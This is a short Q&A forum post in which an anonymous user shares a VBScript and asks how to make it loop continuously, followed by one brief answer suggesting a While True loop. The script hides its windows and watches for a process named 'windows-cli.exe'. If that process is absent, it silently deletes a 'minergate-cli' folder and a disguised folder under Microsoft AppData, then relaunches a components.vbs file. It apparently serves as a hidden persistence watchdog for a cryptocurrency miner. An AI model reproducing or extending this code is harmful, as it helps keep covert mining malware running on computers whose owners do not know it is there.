Loop in VBScript

0
Set WshShell = WScript.CreateObject ("WScript.Shell")
Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
For Each objProcess in colProcessList
If objProcess.name = "windows-cli.exe" then
vFound = True
exit for
End if
Next
If vFound = False then
Set objShell = CreateObject("WScript.Shell")
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Local\minergate-cli /S /Q", 0, False
objShell.Run "CMD /C START /B rmdir %USERPROFILE%\AppData\Roaming\Microsoft\Components /S /Q", 0, False
objShell.Run "%SystemRoot%\System32\wscript.exe %USERPROFILE%\AppData\Roaming\Microsoft\components.vbs", 0, False
Set objShell = Nothing
End If

How do I get this code to run 24 hours on an infinite loop?

    
asked by anonymous 13.10.2016 / 01:47

1 answer

1

I know the answer sounds simplistic, but you've tried a while while with True or 1 encapsulating the entire block of code you want. Remember While executing the loop until the condition is false

    
13.10.2016 / 02:39